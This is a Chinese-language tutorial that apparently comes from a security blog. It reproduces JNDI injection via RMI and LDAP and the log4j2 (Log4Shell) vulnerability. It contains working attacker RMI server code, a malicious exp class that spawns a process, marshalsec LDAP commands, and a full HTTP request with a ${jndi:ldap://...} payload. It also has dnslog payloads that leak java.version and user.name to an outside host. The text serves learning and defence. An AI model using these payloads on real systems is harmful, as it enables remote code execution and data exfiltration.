申明:本文主要记录的是JNDI相关漏洞的学习、复现及利用过程,通过复现可以更好的了解漏洞的原理,从而有助于甲方安全人员在实际工作中进行安全防护、流量分析,更好的保护网络安全。严禁用于从事影响网络安全的非法活动,造成的任何后果与本文及本人无关!
一、JNDI简介
JNDI(The Java Naming and Directory Interface),Java命名和目录接口,是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。JNDI主要提供的服务包括:
RMI,JAVA远程方法调用;
LDAP,轻量级目录访问协议;
CORBA,公共对象请求代理体系结构;
DNS,域名服务
JNDI通过绑定的概念将对象和名称联系起来,在一个文件系统中,文件名被绑定给文件,即对象名被绑定给了一个对象实体。
JNDI客户端调用方式:
1、 指定需要查找name名称:
String jndiName = “jndiName”;
2、 初始化默认环境
Context context = new InitialContext();
3、 查找该name的数据
Context.lookup(jndiName);
这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被恶意利用。
二、RMI+JNDI Reference Payload
JNDI Reference是类javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。
Referecnce还包含有助于创建引用所引用的对象实例的信息。它包含该对象的java类名称,以及用于创建对象的对象工厂的类名称和位置。
ReferenceWrapper:继承了UnicastRemoteObject,将对象封装为远程对象。
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
JDK 6u141,JDK 7u131,JDK 8u121中Java提升了JNDI限制了Naming/Directory服务中JNDIReference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
1、 受害者代码(存在漏洞的代码):
该代码中uri如果是人为可控,那么可以构造一个恶意的RMIServer进行漏洞利用:
package com.jndiDemo.test;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) {
try{
String uri = "rmi://127.0.0.1:1099/exp";
Context context = new InitialContext();
context.lookup(uri);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
2、恶意者代码
package com.jndiDemo.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class attacker {
public static void main(String[] args) {
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("exp","exp","http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);
registry.bind("exp",referenceWrapper);
System.out.println("success");
} catch (RemoteException | AlreadyBoundException | NamingException e) {
e.printStackTrace();
}
}
}
3、 编写exp
import java.io.IOException;
public class exp {
static {
try{
Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
// Runtime.getRuntime().exec(new String[]{"cmd","/c","ping admabu.dnslog.cn"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args){}
}
然后使用javac命令进行编译生成exp.class文件。说明原本这个exp是在package com.jndiDemo.test这个包下面编写的,但是EXP里面不能有包名,否则会报错,如下:
Exception in thread "main" java.lang.NoClassDefFoundError: exp (wrong name: com/jndiDemo/test/exp)exp
4、启动httpserver,将http服务器监听在8888端口,然后将exp.class文件放在服务器中,如下:
在测试的时候发现exp不能放在与受害者同一个项目下,否则不会从http server去下载exp。
5、启动受害者代码,弹出计算器。另外,注意观察httpserver,可以看到每次运行受害者代码的时候,都会在httpserver产生一条http请求记录。
三、LDAP + JNDI 注入
1、利用marshalsec启动一个ldap服务器,首先下载marshalsec源码,使用mvn进行打包为jar包marshalsec-0.0.3-SNAPSHOT-all.jar:
进入到marshalsec-master目录,打包命令:
C:\Users\yangqiang\Downloads\marshalsec-master>D:\maven\apache-maven-3.8.4-bin\apache-maven-3.8.4\bin\mvn
clean package -DskipTests
打包完成后可以看到多了一个target目录,内容如下:
2、然后使用marshalsec-0.0.3-SNAPSHOT-all.jar启动ldap服务,本听LDAP监听在8099端口上,将LDAP查询请求重定向到http://127.0.0.1/#exploit,这里exploit为恶意代码编译后的class文件,命令如下:
D:\>java -cp
marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1/#exploit 8099
3、准备恶意人员可以利用的代码,或者受害者的代码:
查询ldap的地址为ldap://127.0.0.1:8099,后面的“a”为随便写的一个可用于进行DN查找的字符。
4、准备exploit.java代码,并且将exploit.java内容进行编译,注意该代码不要包含包名,否则在远程调用的时候会因为类名不正确而报错:
5、编译后放到http server下面:
6、启动http server:
7、然后启动第3步准备的代码,可以看到弹出计算器:
8、查看LDAP上的记录,可以看到LDAP服务器将请求重定向到了恶意的Http服务器:
恶意的http server上面的记录,可以看到http请求:
9、下面通过debug看一下受害者(客户端)在请求进行LDAP查询的过程中,LDAP服务器返回恶意exploit对象的过程,在client的lookup处下断点,依次的调用关系如下:
(1)InitialContext().lookup("ldap://127.0.0.1:8099/x")
(2)getURLOrDefaultInitCtx(name).lookup(name)
(3)super.lookup(var1)
(4)var4 = var3.lookup(var2.getRemainingName())
(5)var2.p_lookup(var6, var4)
(6)this.c_lookup(var4.getHead(), var2)
(7)LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true)
在第(7)步中看到这里有一个doSearchOnce方法,返回LdapResult的值存放在变量var23中,在这一步实际上就是在进行LDAP的查找,LDAP服务器的日志“Send LDAP reference result for x redirecting to http://127.0.0.1/exploit.class”也是在这个时候产生的。下图显示的是LDAP查询后的信息:
这里有两个重要的信息,一个是javacodebase,值就是http://127.0.0.1/,这个是恶意的Httpserver;另外一个是javafactory,值是exploit,这个就是在Httpserver上的恶意对象,具体如下图。
10、后续就是拿到codebases,然后进行类加载,重要的步骤如下:
(1)var3 = Obj.decodeObject((Attributes)var4)
(2)String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]))
(3)clas = helper.loadClass(factoryName)
(4)return loadClass(className, cl);
(5)Class<?> cls = Class.forName(className, true, cl); 在这里会去加载HttpServer中的恶意类exploit
(5)return cls;
(6)return (clas != null) ? (ObjectFactory) clas.newInstance() : null;这一步判断clas是否为空,如果不为空,就使用Class对象的newInstance()方法创建这个类对象,而这个类对象为恶意对象,因此在这个创建的过程中就执行了恶意代码。
四、log4j2漏洞复现
(一)受影响的版本:
Log4j2 2.x <= 2.15.0-rc1
我测试使用的是apache-log4j-2.14.0,其中两个组件log4j-api-2.14.1.jar以及log4j-core-2.14.1.jar
其他条件:
我使用的是1.8.0.66
(二)环境搭建
1、使用spring搭建一个简单的控制器环境:
package com.example.log4j2demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestControllerpublic class log4j2ClassController {
private static final Logger logger = (Logger) LogManager.getLogger(log4j2ClassController.class);
@RequestMapping("/hello")
@PostMapping("/hello")
public void hello(@RequestParam("name") String name){
System.out.println("Hello: " + name);
logger.error(name);
}
}
2、 导入受影响的版本apache-log4j-2.14.1,可以直接在IDEA Project Structure的Modules中设置,也可以通过maven设置。通过maven配置时pom.xml配置如下:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
3、 启动服务。
4、 通过浏览器访问,测试页面,设置参数name=haha,可以看到后台打印了该信息。
(三)漏洞证明
1、通过dnslog进行证明,获取dnslog,使用BURP修改报文如下:
2、发送报文后,检查dnslog,可以看到请求信息,如下:
(四)漏洞利用
1、 使用marshalsec启动LDAP服务器,操作方式如之前所述。
2、 启动Httpserver,操作方式如前所述。
3、 通过浏览器访问http://192.168.2.6:8080/hello,然后通过BURP修改为POST请求,如下:
POST /hello HTTP/1.1
Host: 192.168.2.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
name=${jndi:ldap://localhost:8099/exploit}
弹出计算器。
4、 通过dnslog外带数据,PAYLOAD示例:
name=${jndi:ldap://${sys:java.version}.4bme6p.dnslog.cn}
name=${jndi:ldap://${sys:user.name}.4bme6p.dnslog.cn}攻
5、 反弹SHELL,这里就没有再测试了,在网上盗了一个exp图:
6、 流量特征
DNSLOG流量:
搭建的ldap/http server,模拟恶意请求流量:
五、JDK版本依赖关系
最后说明一下RMI、RMI-JNDI、LDAP-JNDI几种利用方式与JDK版本之间的依赖关系,这张图是从网上找来的,介绍了几种不同的注入方式,供参考。